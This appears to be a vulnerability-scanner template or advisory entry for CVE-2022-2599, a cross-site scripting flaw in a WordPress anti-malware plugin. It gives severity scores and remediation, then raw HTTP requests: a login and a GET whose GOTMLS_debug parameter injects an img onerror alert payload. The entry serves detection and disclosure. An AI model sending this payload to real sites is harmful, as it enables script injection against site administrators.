| Title | WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the targeted WordPress site, potentially leading to unauthorized access, data theft, or further attacks. |
| Remediation | Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.47329 |
| CVE ID | CVE-2022-2599 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress wp-plugin xss gotmls authenticated wpscan anti-malware_security_and_brute-force_firewall_project vuln |
WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=A9fYma&pwd=zPfIUq&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept-Encoding: gzip
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